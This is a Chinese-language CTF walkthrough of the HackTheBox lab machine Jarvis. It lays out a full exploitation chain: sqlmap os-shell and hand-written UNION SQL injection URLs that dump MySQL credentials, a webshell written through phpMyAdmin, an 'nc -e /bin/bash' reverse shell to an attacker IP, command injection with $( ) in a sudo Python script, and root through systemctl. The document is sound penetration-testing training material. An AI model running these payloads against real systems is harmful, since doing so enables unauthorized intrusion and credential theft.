HTB靶场记录之Jarvis
本文是 i 春秋论坛作家「皮卡皮卡丘」表哥分享的技术文章,旨在为大家提供更多的学习方法与技能技巧,文章仅供学习参考。
相关文章>>
本文是 i 春秋论坛作家「皮卡皮卡丘」表哥分享的技术文章,旨在为大家提供更多的学习方法与技能技巧,文章仅供学习参考。
HTB是一个靶机平台,里面包含多种系统类型的靶机,并且很多靶机非常贴近实战情景,是一个学习渗透测试不错的靶场。
这次的靶机是Jarvis,很适合练手,难点在提权。
2、信息收集
这里我先用autorecon进行信息收集。
Autorecon集成nmap,nikto等操作可以比较全面的进行端口扫描。
用法也比较简单,只需要python autrecon.py IP就可以了。
同时会把报告保存成txt文件打开report即可,这次开了22和80端口。
访问80端口正常回显,无需添加host文件。
下一步开始用dirbuster挖掘目录信息,这次居然有一个phpmyadmin还有一些其它js,css页面。
3、利用工具getshell一条龙
往下拉,然后再随机打开一个页面经典的?xxx=1。
肌肉里面的sqlmap果断激活了,然而这个靶机是有WAF的,这个WAF有点奇怪。
你用sqlmap搞普通注入封你90S。但是你用sqlmap直接—os-shell(对注入成功的网站尝试写shell)顺便加个batch(自动填充)直接一步到位。
最后直接出现个os-shell代表成功,同时输入whoami等命令皆可执行成功。
但sqlmap的shell有时候输入其它的命令会进入死机状态,不会回显。所以需要添加一个新的反弹shell。
由于目标是一个Linux靶机,一般都配有python,所以我们可以参考一波这个各种语言:
https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Reverse%20Shell%20Cheatsheet.md#python
这里要稍微修改一下IP和一个新的端口。
同时需要开启nc,可以得到一个新的稳定shell。
4、手工注入到getshell
手工注入对于脚本小子而言是一件比较折磨的事。
毕竟以前都是sqlmap跑,有WAF提高level级别。
不行就下一个更容易,现在重新复习回显错注入了。
手工注入这部分比较啰嗦,可以跳过这部分。
这里首先用最简单的不加任何单引号双引号括号屏蔽用and 1=1测试
10.10.10.143/room.php?cod=1 and 1=1#正常
而换成1=2不正常,实锤有注入
10.10.10.143/room.php?cod=1 and 1=2#不正常
接下来就是用order by测试
10.10.10.143/room.php?cod=1 order by 7#正常
10.10.10.143/room.php?cod=1 order by 8#不正常
确认好字段数为7以后,需要用到union来爆破显错位,当然还是比较多的。
10.10.10.143/room.php?cod=1 union select 1,2,3,4,5,6,7#无报错点位
10.10.10.143/room.php?cod=-100 union select 1,2,3,4,5,6,7#有报错点位
开始进入查数据库名阶段在2,3,4,5皆可把数字替换成关键词进行查询。这里我选择输出2作为替换点换成database()爆出一个数据库名出来。
10.10.10.143/room.php?cod=-100 union select 1,database(),3,4,5,6,7#得到一个数据库。
这里我喜欢用group_concat功能,直接把所有数据库名都给拖出来。
10.10.10.143/room.php?cod=-100 union select 1,group_concat(schema_name),3,4,5,6,7 from
information_schema.schemata#得到所有数据库名。
这里选择mysql库查看里面的内容(hotel里面的内容并不重要重要的是mysql库)。这里还是用group_concat,由于表太多了,只能复制到文本里面。
重要的是最后面有一个user表
http://10.10.10.143/room.php?cod=-100 union select 1,group_concat(table_name),3,4,5,6,7 from information_schema.tables where table_schema='mysql'#查询mysql数据库里面的内容。
开始查询user表里面的内容里面有2个关键词User和Password,果断选择它们。
http://10.10.10.143/room.php?cod=-100 union all select 1,group_concat(column_name),3,4,5,6,7 from information_schema.columns where table_name='user'#查询user表里面的所有字段内容:
最后只得到一个账号和密码
http://10.10.10.143/room.php?cod=-100 union all select 1,group_concat(User,Password),3,4,5,6,7 from mysql.user#查询所有user表里面所有关于User和Password字段的内容:
找一个MD5在线解密成功。
此时拿着我们的DBadmin和imissyou密码可以登录phpmyadmin。
同时我们可以点击SQL写一句话木马进去。
由于是Linux靶机可以大概确定绝对路径为/var/www/html
此时在前端访问成功。
把语句换为nc-e /bin/bash 10.10.14.23 6666,提前开启nc成功接收shell。
5、提权变成正常用户
开始使用sudo -l发现一个pepper可执行的Python程序。
先cd过去用cat看看里面的内容可用ping IP命令,多半可能存在命令执行。
同时存在一些过滤符号。但这里没过滤全。比如$(命令)这条漏网之鱼不在那我们就可以利用了。
写一个.sh文件里面包含基础的反弹语句,然后利用python模式开启共享模式(不用php的原因是传不上去..)。
然后我们苟到/tmp目录下把文件接过来。记得用chmod 777给权限。否则可能运行不了。
开始运行该脚本先输入-p然后输入一个正常的IP后面开始用$( )运行我们的反弹脚本。
提前开启nc成功接收shell同时可以读取第一个flag。
6、二次提权
这次sudo -l倒了只能换成find找找特殊权限,看到一个systemctl。
关于提权信息可以参考gtfobin。
但这个网站需要小小的魔法帮助。
但需要有一点更改。
我们这次运行的systemctl是一个.service文件类型的东西。
有点像文本一样,所以首先排除echo。其实在ExecStart那个变量最好更改成一个shell这样方便点。(这里我用回上面的python shell)。最后不需要变量$IF
再次用wget传上去以后一定要用link连接否则执行不了。
现在开始启动:
此时提前开好nc成功接回root的shell提权成功。
Bastard属实折磨,三过而打不进去。